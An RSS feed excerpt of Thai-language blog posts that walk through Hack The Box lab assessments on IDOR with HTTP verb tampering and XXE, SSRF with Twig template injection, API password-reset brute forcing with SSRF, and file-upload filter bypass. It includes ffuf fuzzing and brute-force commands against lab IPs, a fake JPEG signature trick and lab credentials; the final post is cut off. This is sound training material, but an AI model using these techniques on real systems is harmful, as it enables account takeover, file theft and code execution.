            <content:encoded><![CDATA[<p>สวัสดีฮะะ วันนี้เราจะมาอยู่ Lab Web Attacks จาก Hack the box โมดูลนี้จะพูดถึงการโจมตีเว็บ โดยใช้ HTTP Verb Tampering เปลี่ยน HTTP Method เพื่อ bypass authentication อย่างเช่นถ้าเราส่ง POST แก้ไขข้อมูล แต่เราไม่สามารถทำได้ เลยลองเปลี่ยนเป็น GET แล้วเปลี่ยน Request body ให้ไปอยู่ที่ URL Parameter เพื่อ bypass, Insecure Direct Object Reference คือการที่เราเข้าไปดู object ไฟล์ ข้อมูล user อื่นๆ โดยที่เราไม่ได้สิทธิ์ และ XML External Entity Injection คือการ inject xml โดยใช้ tag entity ในการแทรงแซงการทำงาน และเข้าถึงไฟล์ในแหล่งที่ไม่อนุญาตได้ ช่องโหว่เหล่านี้เหมือนไปทางแนวโจมตีที่ API ที่เกิดจากการ misconfiguration, broken access control และ xml parser ที่ไม่ได้ทำให้ปลอดภัย</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*9eGUqyGGeL6rtodtzsHE-A.png" /></figure><p>ใน Lab น้ีจะให้ login ด้วย htb-student:Academy_student! แล้วทำการยกสิทธ์ตัวเองจากนั้น exploit เพื่ออ่านไฟล์ /flag.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KN6qfP5zaFztMUTd9ZzELA.png" /></figure><p>เมื่อเราเข้ามาในหน้าเว็บไซต์ จะพบว่าเราสามารถแก้ไขรหัสผ่านที่หน้า setting ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r1j97TZLXH9OzhJplLGhIg.png" /></figure><p>แต่ว่าเมื่อกรอกรหัสผ่านแล้วกด submit กลายเป็นว่ากดไม่ได้ ลองไปดูที่ source code</p><pre>function resetPassword() {<br>            if ($(&quot;#new_password&quot;).val() == $(&quot;#confirm_new_password&quot;).val()) {<br>                $(&quot;#error_string&quot;).html(&#39;&#39;);<br>                fetch(`/api.php/token/${$.cookie(&quot;uid&quot;)}`, {<br>                    method: &#39;GET&#39;<br>                }).then(function(response) {<br>                    return response.json();<br>                }).then(function(json) {<br>                    fetch(`/reset.php`, {<br>                        method: &#39;POST&#39;,<br>                        headers: {<br>                            &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;<br>                        },<br>                        body: `uid=${$.cookie(&quot;uid&quot;)}&amp;token=${json[&#39;token&#39;]}&amp;password=${$(&quot;#new_password&quot;).val()}`<br>                    }).then(function(response) {<br>                        return response.text();<br>                    }).then(function(res) {<br>                        $(&quot;#error_string&quot;).html(res);<br>                    });<br>                });<br>            } else {<br>                $(&quot;#error_string&quot;).html(&#39;Passwords do not match!&#39;);<br>            }<br>        };</pre><p>เราจะเห็น API 2 เส้น เส้นแรกคือ GET /api.php/token/uid และอีกเส้นคือ POST /reset.php ที่ใช้สำหรับเปลี่ยนรหัสผ่านโดยมี request body ได้แก่ uid, token และpassword ใหม่ที่เราจะเปลี่ยน จากนั้นผมลองส่ง request GET ไปยัง /api.php/token/uid ของตัวเอง ซึ่งอยู่ uid สามารถดูได้จาก request body ของตัวเอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lqB3p9NEOFbRkLw93g83Og.png" /></figure><p>ผมเลยลองคิดว่าอาจมีช่องโหว่ที่ uid ทำให้ไปดู token ของคนอื่นได้ ใช้ Intruder ใน 20 uid เพื่อเช็คช่องโหว่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAUiHWUO7Ti0IofaGoU1CQ.png" /></figure><p>ผลปรากฎว่าดู token ของคนอื่นได้จริงๆ นำไปใช้แก้ไขรหัสผ่านได้ แต่ว่าเราจะแก้ไขรหัสใครในเมื่อตอนนี้รู้แค่ token (ตอนแรกผมหาไม่เจอจริงๆว่าจะต้องหา user ไหน แก้รหัสผ่านใคร วนไปวนมาอยู่ แต่มาดู code ที่หน้า profile.php ใหม่) ที่หน้า profile.php เราจะเห็นว่ามี source code ที่ดึง /api.php/user/uid อยู่</p><pre>$(document).ready(function() {<br>            fetch(`/api.php/user/${$.cookie(&quot;uid&quot;)}`, {<br>                method: &#39;GET&#39;<br>            }).then(function(response) {<br>                return response.json();<br>            }).then(function(json) {<br>                $(&quot;#full_name&quot;).html(json[&#39;full_name&#39;]);<br>                $(&quot;#company&quot;).html(json[&#39;company&#39;]);<br>            });<br>        });</pre><p>เลยลองมา enum user ที่หา clue ที่บอกได้ว่าใครเป็น admin เพื่อยกระดับสิทธิ์โดยใช้ Burp Intruder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fRRQzN4ao-XZfiYC89hI4A.png" /></figure><p>จะเห็นว่าเราสามารถเข้าไปดูของ user อื่นๆได้ จากนั้นมาไล่หา user ที่อาจเป็น admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EJaQxJDUBQVeN_uCyobFg.png" /></figure><p>จะเห็นว่า user ที่ uid 52 เป็น Administrator จากนั้นเราต้องเอา token ของ admin เพื่อมาเปลี่ยนรหัสผ่าน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-WQDVnVbuJRD4ml4yoN_g.png" /></figure><p>จากนั้นเรามาเปลี่ยนรหัสผ่านของ admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qOrMgfCBRs_YkacnyepaDg.png" /></figure><p>แต่เราไม่สามารถเปลี่ยนได้ response บอกว่า access denied จากนั้นลอง HTTP verb tampering เผื่อสามารถ bypass ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4JYE_4-RpYENz6kIa3OkwA.png" /></figure><p>เรียบร้อย จากนั้นทำการ login ด้วย username: a.corrales และรหัสผ่านที่ได้ตั้งไปในที่นี้ใช้ 1234</p><p>ในหน้า profile ของ admin จะเห็นว่ามี section Add event อยู่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*R4SYTo-L3szr808aSG3i-A.png" /></figure><p>เมื่อดู source code จะพบว่าเราสามารถ POST เพื่อเพิ่ม event เข้าไปได้</p><pre>function XMLFunction() {<br>            var xml = `<br>            &lt;root&gt;<br>            &lt;name&gt;${$(&#39;#name&#39;).val()}&lt;/name&gt;<br>            &lt;details&gt;${$(&#39;#details&#39;).val()}&lt;/details&gt;<br>            &lt;date&gt;${$(&#39;#date&#39;).val()}&lt;/date&gt;<br>            &lt;/root&gt;<br>            `;<br><br>            fetch(`addEvent.php`, {<br>                method: &#39;POST&#39;,<br>                body: xml,<br>            }).then(function(response) {<br>                return response.text();<br>            }).then(function(res) {<br>                $(&#39;#error_string&#39;).html(res);<br>            });<br>        };</pre><p>ใน code นี้บอกว่าเราสามารถ POST เป็น xml ได้ แสดงว่าเราทำ XXE Injection เพื่อเข้าถึง flag ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*npRFL7xI_Dls2u23RIxbNg.png" /></figure><p>จากนั้นจะได้ flag.php ในรูปแบบ base64 ไปถอดกันเอาเองนะจ๊ะะะ 💖 💖 💖</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a12501ff83ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Skill Assessment — Server-Side Attacks]]></title>
            <link>https://medium.com/@pglingfr/skill-assessment-server-side-attacks-97dff5933ef6?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/97dff5933ef6</guid>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Sat, 21 Feb 2026 03:58:32 GMT</pubDate>
            <atom:updated>2026-02-21T03:58:32.977Z</atom:updated>
            <content:encoded><![CDATA[<p>สวัสดีครับ มาอยู่กันครับการโจมตีไปยังเซิฟเวอร์ Server-Side Attacks เป็น module ของ Hack the box ที่จะพูดถึง Server-Side Request Forgery ในการทำ Enumeration ระบบ การเข้าไปยัง Internal Endpoints และ Local File Inclusion, Server-Side Template Injection ของ Jinja2 และ Twig วิธีการทำ Information Disclosure Local File Inclusion และ RCE, Server-Side Includes Injection และ eXtensible Stylesheet Language Transformation</p><p>Skill Assessment นี้ถือว่าค่อนข้างง่าย จะใช้ช่องโหว่หลักๆคือ Server-Side Request Forger และ Server-Side Template Injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NtqkDbDEOZFN3xEcp7VY2w.png" /></figure><p>เมื่อเข้าไปยัง ip ของแลปแล้ว จะพบหน้าเว็บนี้ที่ดูไม่มีอะไร ไม่มีช่องให้กรอกข้อมูลตรงๆเลย กดอะไรก็ไม่ได้ แต่ลองไปดูที่ request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLuFc_WpD3-S9PY7-b9b3g.png" /></figure><p>จะพบว่ามี request 4 อันคือ GET และ POST 3 อัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TwhSh4yquHuXCZ-9TwGaBw.png" /></figure><p>ถ้าไปดูที่ Request ของ POST จะเห็นว่ามีการเรียก API นั่นเป็นไปได้ว่า อาจมีช่องโหว่ SSRF เลยลอง Enumeration port ผ่าน field API เผื่อเจอหน้าเว็บอื่นหรือ Service อะไรซ่อนอยู่</p><pre>ffuf -w ports.txt -t 100 -X &#39;POST&#39; \<br>-H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>-d &#39;api=http://127.0.0.1:FUZZ/&#39; -u &#39;http://154.57.164.76:32070/&#39; \<br>-fr &#39;Bad Request&#39;</pre><p>แต่ว่าไม่พบ port อะไรอยู่เลยนอกจาก 80(HTTP) และ 3306(MySQL)</p><p>จากนั้น Enumeration path และไฟล์ของ API ที่เว็บได้ request ไป</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \<br>-t 100 -X &#39;POST&#39; -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>-d &#39;api=http://truckapi.htb/FUZZ&#39; \<br>-u &#39;http://154.57.164.76:32070/&#39; -fr &#39;Not Found&#39;</pre><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \<br>-t 100 -X &#39;POST&#39; -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>-d &#39;api=http://truckapi.htb/FUZZ.php&#39; -u &#39;http://154.57.164.76:32070/&#39; \<br>-fr &#39;Not Found&#39;</pre><p>หลักจากการทำ enumeration จะเจอ /vendor/ และ index.php เมื่อลองสำรวจ /vendor/ ไปเรื่อยจะพบว่า server ใช้ template engine ของ twig</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zgq8039FQMEXmrTOqWq2FA.png" /></figure><p>อาจมีที่ให้เราทำ SSTI อยู่สักที่</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wrjJPZ3DvMf6JVzOgF8GQQ.png" /></figure><p>จริงๆแล้ว input field มันอยู่ที่ api (http://truckapi.htb/?id=FusionExpress01)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j56TGb_5TyfjhXs1OFlCFg.png" /></figure><p>ลอง input เป็น {{7*7}} response ที่ตอบกลับเป็น 49 แสดงว่าสามารถทำ SSTI ได้</p><p>จากนั้นทำ SSTI โดยใช้ payload ของ twig ทำ RCE เพื่อ cat flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FnkaJ8N1-Cnh6nHqon9akw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=97dff5933ef6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Skill Assessment — API Attacks]]></title>
            <link>https://medium.com/@pglingfr/skill-assessment-api-attacks-74b5830e5ba4?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/74b5830e5ba4</guid>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 04:21:52 GMT</pubDate>
            <atom:updated>2026-02-20T04:38:55.999Z</atom:updated>
            <content:encoded><![CDATA[<p>สวัสดีครับวันนี้ผมจะมาพาทำ Skill Assessment ของ module API Attacks จาก Hack the box ซึ่ง module นี้จะกล่าวถึง OWASP Top 10 API Security Risks — 2023 <a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/">https://owasp.org/API-Security/editions/2023/en/0x11-t10/</a><br>lab นี้จะคล้ายกับในเนื้อหาที่เรียนแต่ API v2 ที่ได้ patch ช่องโหว่หลายๆอย่าง แต่การทำงานของ API ยังคงเหมือนเดิม</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*LaPiyg2tW3PbZw5ww7oi7A.png" /></figure><p>โดยใน lab นี้ช่องโหว่ที่จะพบหลักๆเลยคือ Broken Authentication และ Server Side Rquest Forgery ซึ่งในแลปนี้จะให้ Credentials ของ user นึงที่เป็น Customer มา คือ htbpentester@hackthebox.com:HTBPentester</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DBbs8jf1Skc9EbA-7UtVw.png" /></figure><p>สิ่งแรกที่ต้องทำเลยคือ Authentication เพื่อเข้าสู่ระบบ โดยใช้ /api/v2/authentication/customers/sign-in แล้วเราจะได้ JWT Token กลับมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nf44U3XVkX8DwHCmoahG_w.png" /></figure><p>จากนั้นนำไป JWT Token ไป Authorize เพื่อใช้ในการตรวจสอบสิทธิ การใช้งาน API</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nM2I_cbJiRbKD035j5oRHw.png" /></figure><p>จากนั้นมาดูว่าเรามีสิทธิทำไรได้บ้างที่ /api/v2/roles/current-user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sTJA8d0Kbxspc2P6pCyL5A.png" /></figure><p>จะเห็นว่าเรามี roles Supplier_GetAll ที่อนุญาตให้เราเข้าถึง /api/v2/suppliers ที่จะ response ออกมาเป็น suppliers ทั้งหมด และ Supplier_Get ที่อนุญาตให้เราเข้าถึง /api/v2/suppliers/{ID} โดยที่มี parameter เป็น SupplierID เพื่อดูข้อมูลของ Supplier นั้น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhJ5Q0eK-c0gsFcMxlihJA.png" /></figure><p>จากนั้นเราจะเราลองเรียก GET /api/v2/suppliers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*77EkISGKBQWFzRA8A36Ijg.png" /></figure><p>จะเห็นว่ามีบาง user ที่มี securityQuestion เป็น “What is your favorite color?” และหลายๆ user ไม่ได้ตั้งเอาไว้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8_dXkxWpcpida6-tRNDDA.png" /></figure><p>จะสังเกตเห็นว่าสามารถ reset รหัสผ่านโดยใช้ security question และ sign-in ไปยัง supplier อื่นได้ ดังนั้นเรา extract email ที่มี securityQuestion ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnSqcg6uE7bzd4EiC6SFeA.png" /></figure><p>ในการ reset รหัสผ่านเราต้องใช้ email คำตอบของ securityQuestion และ password ใหม่ ผมเลยหา email ที่มี securityQuestion และ wordlist สี</p><pre>curl -X &#39;GET&#39; \                                                                                                            <br>  &#39;http://154.57.164.71:30241/api/v2/suppliers&#39; \<br>  -H &#39;accept: application/json&#39; \<br>  -H &#39;Authorization: Bearer JWT_TOken&#39;\<br>| jq -r &#39;.suppliers[] | select(.securityQuestion == &quot;What is your favorite color?&quot;) | .email&#39; \<br>&gt; targets.txt</pre><p>โดยใช้ jq parse json response ที่มี securityQuestion เป็น “What is your favorite color?” ออกมา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*WGRs-leCG9iaVvL6l1_l7g.png" /></figure><p>จากนั้นหา wordlist ที่เป็นสี ผมได้ลองใช้ของ SecList แต่ว่าไม่เจอ response ที่ถูกต้อง ผมเลยหาในเน็ตเจอ wordlist ใน github <a href="https://github.com/imsky/wordlists/blob/master/adjectives/colors.txt">https://github.com/imsky/wordlists/blob/master/adjectives/colors.txt</a></p><p>แล้วนำมา Fuzz เพื่อ email ที่สามารถคู่กับคำตอบนั้นได้ และเปลี่ยนรหัสผ่านเป็น password1234 ใช้ ffuf โดยที่จะกรอก response ที่มีคำว่า false ออก (เปลี่ยนรหัสผ่านไม่สำเร็จ)</p><pre>ffuf -X &#39;POST&#39; -u &#39;http://154.57.164.71:30241/api/v2/authentication/suppliers/passwords/resets/security-question-answers&#39; \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{<br>  &quot;SupplierEmail&quot;: &quot;EMAIL&quot;,<br>  &quot;SecurityQuestionAnswer&quot;: &quot;PASS&quot;,<br>  &quot;NewPassword&quot;: &quot;password1234&quot;<br>}&#39; -w targets.txt:EMAIL -w /home/pglingfr/Downloads/colors.txt:PASS -fr &#39;false&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jI6rHEcmiRs5q1f3l657Hw.png" /></figure><p>จากนั้นเราจะเจอ email B.Rogers1535@globalsolutions.com และสีคือ rust ซึ่งถูกเปลี่ยนรหัสผ่านเป็น password1234 แล้ว</p><p>จากนั้นทำการ Authentication โดยใช้ email และ password ดังกล่าว แล้วนำมา Authorize เหมือนในขั้นตอนแรก จากนั้นทำการดู roles ว่าทำอะไรได้บ้าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nkLtPEMMhBRicaWN8Nv6WA.png" /></figure><p>แต่ว่าไม่ได้ถูก assign role ไว้ แต่ user นี้เป็น supplier เราจึงไปดูในส่วนของ supplier ว่ามีไรให้ใช้ได้บ้าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOokX2mU_piRoilB-ABaSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bYnzMZ0A87w3-227FnMVfQ.png" /></figure><p>Supplier สามารถอัปโหลด CV ได้ดังนั้นเราจะลองอัปไฟล์ PDF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oxfIERUDTLiZpe5HPpaB4Q.png" /></figure><p>จะเห็นว่า response ที่เราได้อัปโหลด status เป็น true และ มี URI มาด้วย</p><p>จากนั้นเราจะเห็นว่ามี /api/v2/suppliers/current-user/cv ที่เราสามารถดู CV ของเราได้ และ response กลับมาเป็น base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yR6bSKVhZMGsgO1Z9rKDkA.png" /></figure><p>แต่ถ้าเราทำ URI ของไฟล์เราไปยังไฟล์ที่เราต้องการอย่าง /flag.txt หละ แต่เอ๊ะมี API ที่เราสามารถ PATCH ข้อมูลของเราได้โดยมี field ดังนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*4N9b_nETlZCbVkslcEeJxA.png" /></figure><p>จาก field ที่เห็นเราสามารถเปลี่ยน URI ที่ไปยังไฟล์เราให้ชี้ไปหาไฟล์อื่นได้!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*HTTRZnBd76tc0QUYNzLYVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*8avwdU1C1qVA_94k8kStMg.png" /></figure><p>และได้ status เป็น true จากนั้นกลับไปยัง /api/v2/current-user/cv แล้วเราเรียกดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ofqLnFhtY6EKHjrFFGqS1g.png" /></figure><p>โป๊ะ base64 ที่ได้มาไม่ใช่ไฟล์ที่เราอัปโหลด จะใช่ flag หรือป่าวน้าาาาาาา</p><p>จากที่กล่าวไปข้างต้นถึงช่องโหว่ Broken Authentication สามารถเรียก API reset รหัสผ่านของผู้อื่นได้โดยใช้อีเมล และการ brute-force หาคำตอบ รวมถึงการตั้งคำถามของ user ที่ไม่ดี และ Server Side Request Forgery ซึ่ง PATCH และดึงไฟล์ CV ออกมาดู ทำให้เปลี่ยน URI ไฟล์ไปยังไฟล์ของระบบที่ต้องการและนำออกมาเป็น base64 ได้ นอกจากนี้แล้วยังมี Excessive Data Exposure ที่ทำให้ผู้ใช้งานอย่าง customer เห็นข้อมูลของ supplier มากเกินไป อย่างคำถาม reset รหัสผ่าน ทำให้ผู้โจมตีสามารถพุ่งไปยังเป้าหมายที่ต้องการได้, Lack of Rate Limit ที่ทำให้สามารถ Brute force Request เรื่อยๆจนเปลี่ยนรหัสผ่านได้สำเร็จ และ Improper Object Property Modification ซึ่งเกี่ยวเนื่องกับ SSRF ก่อนที่จะทำ SSRF ได้ ผู้โจมตีสามารถแก้ไขโดยใช้ PATCH และมี field ที่อนุญาตให้แก้ไขมากจนเกินไป ทำให้แก้ไข URI ชี้ยังไฟล์ของระบบที่ต้องการได้โดยตรง</p><p>lab นี้ไม่ใช่ lab ที่ยากเท่าไหร่ แต่ค่อนข้างมึนอยู่ตอนที่นั่งดู API จริงๆตั้งแต่ตอนเรียน module นี้ ซึ่ง module demonstrate การโจมตีฝั่ง API ได้เห็นภาพพอสมควร ได้ Proof of Concept แต่คำอธิบายของช่องโหว่, risk ไม่ได้มีมากเท่าไหร่ ยังคงมีแนวทางการป้องกันอธิบาย ขอบคุณทุกท่านที่อ่านจนจบนะครับ 💖</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74b5830e5ba4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Skill Assessment — File Upload Attacks]]></title>
            <link>https://medium.com/@pglingfr/skill-assessment-file-upload-attacks-c36c467a5455?source=rss-e1ae5fe713c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c36c467a5455</guid>
            <dc:creator><![CDATA[Phufar Glingfroy]]></dc:creator>
            <pubDate>Tue, 17 Feb 2026 16:07:51 GMT</pubDate>
            <atom:updated>2026-02-17T16:07:51.279Z</atom:updated>
            <content:encoded><![CDATA[<p>สวัสดีครับวันนี้ผมจะมา guide การทำ Skill Assessment ของ File Upload Attacks module ของ Hack the box กันครับ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*KA_iBK583_4qiqFdS0vSZw.png" /></figure><p>ซึ่งโจทย์บอกว่าให้เราไปหา flag ที่ root directory ผ่านการ exploit โดยการ upload ไฟล์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y63n9Mvk12oCom1z0ET0rw.png" /><figcaption>Landing page</figcaption></figure><p>เมื่อเราเข้าเว็บมาแล้ว สิ่งแรกที่ต้องหาเลยคือ attack surface ที่อัปโหลดไฟล์ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLxcVBqZ4ykCWCYVJoqd7Q.png" /><figcaption>Contract Us page</figcaption></figure><p>ซึ่งเราจะพบที่อัปโหลดรูปที่หน้า Contract Us โดยผมจะลองอัปโหลดไฟล์รูปจริงๆไปก่อนเพื่อดู Response ว่าเป็นอย่างไรบ้าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddqV03ljHtFe47os63Yb1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cf6XIXJkteFHXqo5Pu2U-g.png" /><figcaption>Response from upload valid image</figcaption></figure><p>ซึ่งเราจะได้ Response มาเป็นรูปแบบ base64 ในเคสที่อัปโหลดถูกต้อง จากนั้นผมจะลอกไฟล์แปลกๆ โดยการแก้ Request ที่อัปโหลดรูป</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xkuke0VhnxoSpGAV4ZLVrw.png" /><figcaption>Invalid Upload request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vjDrIZPKKUKG-D8wDgld5A.png" /><figcaption>Invalid Upload response</figcaption></figure><p>ซึ่ง response บอกว่า Only images are allowed ทั้งที่ extension ไฟล์เป็น .jpg และ header Content-Type เป็น image/jpeg ควรที่จะถูกต้อง แต่จริงๆแล้ว Server ได้เช็ค MIME type ด้วย หรือ Signature ของไฟล์ เมื่อ Server ไม่พบ Signature ของไฟล์ .jpg จึงจะระบุว่าไม่ใช่ไฟล์รูปภาพ ดังนั้นผมจะสร้าง .jpg เปล่าๆ ขึ้นมาที่ไม่มี Content อะไรมีเพียง Signature ของไฟล์ จากนั้นอัปโหลดไฟล์</p><pre>printf &quot;\xFF\xD8&quot; &gt; fake.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S6jspUdslWFHWgLYBvoz2g.png" /><figcaption>Fake jpg Upload</figcaption></figure><p>ซึ่ง Response เป็น 200 OK และ แสดง base64 นั่นแปลว่าสามารถใช้ได้ จากนั้นลอง fuzzing โดยใช้ Burp Intruder เพื่อหา extension ของไฟล์ เพื่อทำการ execute บน Server (i.e. php, phar, php5, …) ซึ่งผมจะใช้จาก SecList <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt">https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LC-MF0idIIDPleLpVL2uQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ps8HFWRHfliaRHhnQkSTsw.png" /></figure><p>อย่าลืมเอา url encode ออกด้วย ซึ่งตำแหน่งที่ Intruder คือ .abc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MvDW-o5wt0Ox9zf44RpTuA.png" /><figcaption>Intruder Response</figcaption></figure><p>เราจะเห็นว่าไฟล์ .phar.jpg สามารถใช้งานได้ หลังจากนั้นผมจะลอง fuzzing Content-Type ดู แต่ว่า Content-Type มี ได้หลายอย่างผมจะเลือกเพียงแค่ที่เป็น image</p><pre>cat /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt | grep &#39;image/&#39; &gt; imagecontent.txt</pre><p>(ในเครื่องผมได้ลง SecList ไว้อยู่แล้ว)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-Zzzjqh_HjklWIpw3e9MQ.png" /></figure><p>โดยใช้ตำแหน่งที่ fuzz ที่ image/jpeg จากโหลดไฟล์ Content-Type ที่มีเพียง image/ ที่เราสร้างไว้ ในส่วนของ Payloads และอย่าลืมเอาที่ติ๊ก URL-encode ออก</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n21iy4e8ZDVRoUkYTRKAJw.png" /></figure><p>จากที่เห็น Content-Type ที่ใช้ได้ โดยดูที่ Length คือ 322 และจะเห็นว่าเราสามารถใช้ image/svg+xml ได้ ซึ่งเราสามารถใช้ช่องโหว่ XXE ได้ด้วย ซึ่งเราจะสามารถใช้อ่านไฟล์ upload.php เพื่อหาว่าไฟล์ที่เราอัปโหลดไปอยู่ที่ไหน เพื่อทำ RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmpUe2KpDH5g7ne_wf6eAw.png" /><figcaption>malicious svg upload</figcaption></figure><p>ผมได้แก้ไข Request อันเก่าโดยเพิ่มส่วนของไฟล์ svg ให้ไปเปิดไฟล์ upload.php ในรูปแบบของ base64, Content-Type ให้เป็น image/svg+xml และชื่อไฟล์ให้เป็น .svg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbq3FXlZgsAMvE1RqY7rsA.png" /><figcaption>base64 upload.php response</figcaption></figure><p>เราได้ base64 ของ source code ไฟล์ upload.php มา นำไปถอดที่ Decoder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yQOaDCtVPNNFZdbUc5yt5Q.png" /><figcaption>decoded source code</figcaption></figure><p>เราจะเห็นว่าไฟล์ที่เรา upload จะไปอยู่ที่ /user_feedback_submissions/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddK5Ep51djx1KGPdKpA3Rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*6HpEEDLXizpXjLdUAjSqMA.png" /></figure><p>ซึ่งจะได้ Reponse เป็น 200 OK แสดงว่าเราสามารถเข้าถึงได้ หากเรายังจำกันได้เราได้อัปโหลดไฟล์ .jpg ปลอมไป เราจะนำ Request นั้นมาแก้ไขเพิ่ม php script ที่สามารถ RCE ได้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SO86MKx_eNnvSKhNB_tDOA.png" /></figure><p>จากนั้นไปยังหน้าที่แสดงไฟล์ที่ถูกอัปโหลดแล้วเรียกใช้ script นี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ri56OEuxEVvnnvl0gOLYow.png" /></figure><p>เอ้าไมไม่ได้วะะะะะ!!!!</p><p>ดูไปดูมาไปเจอว่าจริงๆแล้ว upload.php มีการเปลี่ยนชื่อไฟล์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cS5YwMo3XLeqFfM03-Snpw.png" /></figure><p>โดยการเพิ่ม ปีเดือนวัน_ ไปก่อนชื่อไฟล์</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0TDjYb9W3QyBkipeTCwYKA.png" /></figure><p>ซึ่งจะแสดงไฟล์ใน root directory ออกมาจากนั้นก็ cat flag ออกมา</p><p>โดยรวมแล้ว lab นี้ไม่ยากแต่อาศัยความรู้ที่เรียนมาใน module เป็นหลัก</p><p>จริงๆแล้ว lab ไม่ใช้เพียงการหา flag แต่ระหว่างที่เราทำเราได้เรียนรู้อะไรไปบ้าง 